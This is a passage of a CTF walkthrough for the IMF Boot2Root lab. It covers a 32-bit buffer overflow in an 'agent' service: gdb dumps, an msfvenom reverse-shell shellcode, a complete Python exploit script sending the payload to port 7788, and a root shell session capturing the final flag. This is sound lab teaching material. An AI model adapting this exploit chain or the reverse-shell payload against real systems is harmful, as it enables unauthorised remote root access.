0xffa5af44:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5af54:     0x41414141      0x41414141      0xffa5aec4      0x41414141
0xffa5af64:     0x41414141      0x41414141      0x42424242      0x04030201
0xffa5af74:     0x08070605      0x0d0c0b09      0x11100f0e      0x15141312
0xffa5af84:     0x19181716      0x1d1c1b1a      0x21201f1e      0x25242322
0xffa5af94:     0x29282726      0x2d2c2b2a      0x31302f2e      0x35343332
0xffa5afa4:     0x39383736      0x3d3c3b3a      0x41403f3e      0x45444342
0xffa5afb4:     0x49484746      0x4d4c4b4a      0x51504f4e      0x55545352
0xffa5afc4:     0x59585756      0x5d5c5b5a      0x61605f5e      0x65646362
0xffa5afd4:     0x69686766      0x6d6c6b6a      0x71706f6e      0x75747372
0xffa5afe4:     0x79787776      0x7d7c7b7a      0x81807f7e      0x85848382
0xffa5aff4:     0x89888786      0x8d8c8b8a      0x91908f8e      0x95949392
0xffa5b004:     0x99989796      0x9d9c9b9a      0xa1a09f9e      0xa5a4a3a2
0xffa5b014:     0xa9a8a7a6      0xadacabaa      0xb1b0afae      0xb5b4b3b2
0xffa5b024:     0xb9b8b7b6      0xbdbcbbba      0xc1c0bfbe      0xc5c4c3c2
0xffa5b034:     0xc9c8c7c6      0xcdcccbca      0xd1d0cfce      0xd5d4d3d2
0xffa5b044:     0xd9d8d7d6      0xdddcdbda      0xe1e0dfde      0xe5e4e3e2
0xffa5b054:     0xe9e8e7e6      0xedecebea      0xf1f0efee      0xf5f4f3f2
0xffa5b064:     0xf9f8f7f6      0xfdfcfbfa      0xff00fffe      0xffa5be46
0xffa5b074:     0xffa5be78      0xffa5be8f      0xffa5beaa      0xffa5beb4
0xffa5b084:     0xffa5bebc      0xffa5becf      0xffa5beeb      0xffa5bf0c
0xffa5b094:     0xffa5bf62      0xffa5bf70      0xffa5bfa3      0xffa5bfb7
0xffa5b0a4:     0xffa5bfca      0xffa5bfe4      0x00000000      0x00000020

Now we need to see if our program has a jmp or call to the esp or eax register. If we can jump/call eax, we will put our shell code where the 'A's are. If we can jmp/call esp, we will put our shell code where the 'C's are. We have a lot more room to work with in the esp register, so we'll check that one first.

root@kali:~/Walkthroughs/imf# objdump -D agent | grep -P 'jmp|call' | grep -i esp
root@kali:~/Walkthroughs/imf# objdump -D agent | grep -P 'jmp|call' | grep -i eax
8048563:       ff d0                   call   *%eax
8048e4f:       ff 94 00 00 00 00 41    call   *0x41000000(%eax,%eax,1)
8048eaf:       ff 60 00                jmp    *0x0(%eax)

OK. Looks like we have a call to eax at 0x08048563, but none to esp. If we do some hex math on the memory addresses from the start of our eax register to where we hit that random 4 bytes earlier, we have 152 bytes for our shell code. Thankfully our shell code should only be about 90 to 100 bytes, so we should be ok.

We'll use our netcat listener + python script + gdb debugger to test the call command. If this works, we'll be ready to set up our payload.

Here's the script we created to check the 'call eax' command...

root@kali:~/Walkthroughs/imf# cat sock-check-eax.py
#!/usr/bin/python
import socket
import time

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# bad chars
# \x00\x0a

# CALL EAX address = 0x08048563 = \x08\x04\x85\x63
# Because of Little Endian, we need to reverse the address to \x63\x85\x04\x08
call_eax = "\x63\x85\x04\x08"

buffer = "A"*168 + call_eax

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.222',7788))
  s.recv(1024)
  time.sleep(10)
  s.send('48093572' + '\n')
  s.recv(1024)
  s.send('3' + '\n')
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 7788"

And here is what we found in the debugger...

Program received signal SIGSEGV, Segmentation fault.
0xffde7e8c in ?? ()
(gdb) x/24x 0xffde7e8c
0xffde7e8c:     0xffde7df4      0x41414141      0x41414141      0x41414141
0xffde7e9c:     0x08048565      0xf7f12300      0x00040000      0x08ce51d0
0xffde7eac:     0x383489bb      0x35333930      0xff003237      0x00000003
0xffde7ebc:     0x0a048991      0xf7f55560      0xffde7ee0      0x00000000
0xffde7ecc:     0xf7d52b41      0xf7f12000      0xf7f12000      0x00000000
0xffde7edc:     0xf7d52b41      0x00000001      0xffde7f74      0xffde7f7c

It looks like our process died when it hit those 4 bytes in the buffer that broke up our 'A's. You can see that after our 'A's we have our eip. Interestingly, it is a few bytes off of what we tried to set it to (0x08048565 vs 0x08048563). Subsequent runs produced similar results. We'll go forward with our exploit, but it might be inconsistent.

We'll generate our linux/x86/shell_reverse_tcp payload using msfvenom, being sure to exclude our bad characters (\x00\x0a).

root@kali:~/Walkthroughs/imf# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.183.0.222 LPORT=5434 -a x86 -b '\x00\x0a' -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xba\xb9\xdd\x5d\x4a\xd9\xc1\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x12\x83\xc6\x04\x31\x56\x0e\x03\xef\xd3\xbf\xbf\x3e\x37\xc8"
"\xa3\x13\x84\x64\x4e\x91\x83\x6a\x3e\xf3\x5e\xec\xac\xa2\xd0"
"\xd2\x1f\xd4\x58\x54\x59\xbc\x50\x11\x99\xe2\x0d\x5f\x9a\x0f"
"\xf4\xd6\x7b\x9f\x6e\xb9\x2a\x8c\xdd\x3a\x44\xd3\xef\xbd\x04"
"\x7b\x9e\x92\xdb\x13\x36\xc2\x34\x81\xaf\x95\xa8\x17\x63\x2f"
"\xcf\x27\x88\xe2\x90";

Our payload is 95 bytes, which should be plenty of room for us. Our final, weaponized, python script becomes...

root@kali:~/Walkthroughs/imf# cat sock-remote.py
#!/usr/bin/python
import socket
import time

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# bad chars
# \x00\x0a

# payload = linux/x86/shell_reverse_tcp LHOST=10.183.0.222 LPORT=5434
# payload = 95 bytes
payload = ("\xbe\x58\x8c\x3a\x4b\xda\xcd\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x12\x83\xeb\xfc\x31\x73\x0e\x03\x2b\x82\xd8\xbe\xfa\x41\xeb"
"\xa2\xaf\x36\x47\x4f\x4d\x30\x86\x3f\x37\x8f\xc9\xd3\xee\xbf"
"\xf5\x1e\x90\x89\x70\x58\xf8\x03\x34\x9a\x26\x7b\x38\x9b\xc3"
"\x46\xb5\x7a\x5b\xd0\x95\x2d\xc8\xae\x15\x47\x0f\x1d\x99\x05"
"\xa7\xf0\xb5\xda\x5f\x65\xe5\x33\xfd\x1c\x70\xa8\x53\x8c\x0b"
"\xce\xe3\x39\xc1\x91");

# nop slide
nop_slide = "\x90" * (168-95)

# CALL EAX address = 0x08048563 = \x08\x04\x85\x63
# Because of Little Endian, we need to reverse the address to \x63\x85\x04\x08
call_eax = "\x63\x85\x04\x08"

buffer = payload + nop_slide + call_eax

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.188',7788))
  s.recv(1024)
  time.sleep(10)
  s.send('48093572' + '\n')
  s.recv(1024)
  s.send('3' + '\n')
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 7788"

We'll start our listener in Metasploit and give it a try...

msf5 exploit(multi/handler) > [*] Command shell session 5 opened (10.183.0.222:5434 -> 10.183.0.188:46694) at 2019-05-05 02:44:02 -0400

msf5 exploit(multi/handler) > sessions 5
[*] Starting interaction with 5...

pwd
/
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
Flag.txt
TheEnd.txt
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
cat TheEnd.txt
   ____                        _ __   __   
  /  _/_ _  ___  ___  ___ ___ (_) /  / /__
_/ //  ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
   __  __/_/        _                      
  /  |/  (_)__ ___ (_)__  ___              
/ /|_/ / (_-<(_-</ / _ \/ _ \             
/_/__/_/_/___/___/_/\___/_//_/             
  / __/__  ___________                     
/ _// _ \/ __/ __/ -_)                    
/_/  \___/_/  \__/\__/                     
                                           
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.

Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com

Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)

And the final Base64 string in the flag decodes to 'Gh0stProt0c0ls'.


Pivoting

N/A

Clean Up


*** STOP /var/www/html/imfadministrator/uploads/89141121ca4e.jpg ***
*** REMOVE /var/www/html/imfadministrator/uploads/89141121ca4e.jpg ***


Additional Info


gdb-peda

I spent a LOT of time in gdb working through the buffer overflow (due to the inconsistent results and a bad testing set up before just using netcat and sockets). Along the way, I came across gdb-peda, which adds some nice features to gdb (especially for exploit development). After installing gdb-peda (apt-get install gdb-peda), you can enable it by putting the following in your ~/.gdbinit file.

root@kali:~/Walkthroughs/imf# cat ~/.gdbinit
# Source all settings from the peda dir
source /usr/share/gdb-peda/peda.py

# Intel syntax is more readable
set disassembly-flavor intel
# When inspecting large portions of code the scrollbar works better than 'less'
set pagination off
# Keep a history of all the commands typed. Search is possible using ctrl-r
set history save on
set history filename ~/.gdb_history
set history size 32768
set history expansion on

# Don't prompt to confirm quit
define hook-quit
    set confirm off
end